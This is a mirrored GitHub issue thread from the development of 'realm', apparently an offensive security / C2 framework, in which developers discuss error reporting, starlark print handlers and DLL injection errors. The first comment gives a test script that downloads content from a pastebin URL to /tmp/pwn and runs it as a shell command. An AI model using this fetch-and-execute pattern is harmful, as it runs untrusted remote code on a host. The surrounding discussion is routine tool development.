Coder Social home page Coder Social logo

[bug] Report output on error about realm HOT 11 CLOSED

KCarretto avatar KCarretto commented on May 14, 2024
[bug] Report output on error

from realm.

Comments (11)

KCarretto avatar KCarretto commented on May 14, 2024

"file.download('https://pastebin.com/raw/arXnJQK0', '/tmp/pwn')\ncmd = file.read('/tmp/pwn')\nsys.shell(cmd)"

from realm.

hulto avatar hulto commented on May 14, 2024

Check sys.shell('systemctl start service');

from realm.

hulto avatar hulto commented on May 14, 2024

image

Eldritch function might have to be asynchronous to be run asyncly like in imix or golem.

from realm.

hulto avatar hulto commented on May 14, 2024

Resolving block_on

https://stackoverflow.com/questions/62536566/how-can-i-create-a-tokio-runtime-inside-another-tokio-runtime-without-getting-th#62536772

from realm.

hulto avatar hulto commented on May 14, 2024

Implement PID not found error in DLL inject

from realm.

hulto avatar hulto commented on May 14, 2024

https://docs.rs/starlark/latest/starlark/eval/struct.Evaluator.html#method.set_print_handler

Use this to better handle how print is managed.

from realm.

hulto avatar hulto commented on May 14, 2024

In order to implement the set_print_handler we need to update to at least:
https://github.com/facebookexperimental/starlark-rust/tree/420db32488a99a929def7e5e697f3f39abecdb6d

Doing so thought may require a larger refactor on initial testing:
image

It seems our boilerplate needs to become much larger.
At this point I think we should look into implementing native functions per @KCarretto suggestion.
image

Still uses impl StarlarkValue so may encounter the same problem.
I'm going to resolve updating our version of starlark in a separate issue.

from realm.

hulto avatar hulto commented on May 14, 2024

PR to update starlark.
#180

from realm.

hulto avatar hulto commented on May 14, 2024

First pass at implementing custom print handler:
this works:
image
image

This fails.
image
image

Seems like complex types in the PrintHandler struct are causing issues.

from realm.

hulto avatar hulto commented on May 14, 2024

Verifying print handler + mspc::channel works over thread::spawn.
image

from realm.

hulto avatar hulto commented on May 14, 2024

May wish to build out a better way to report pre-check-in errors.
image

In this situation we don't have a way to see that error.

from realm.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.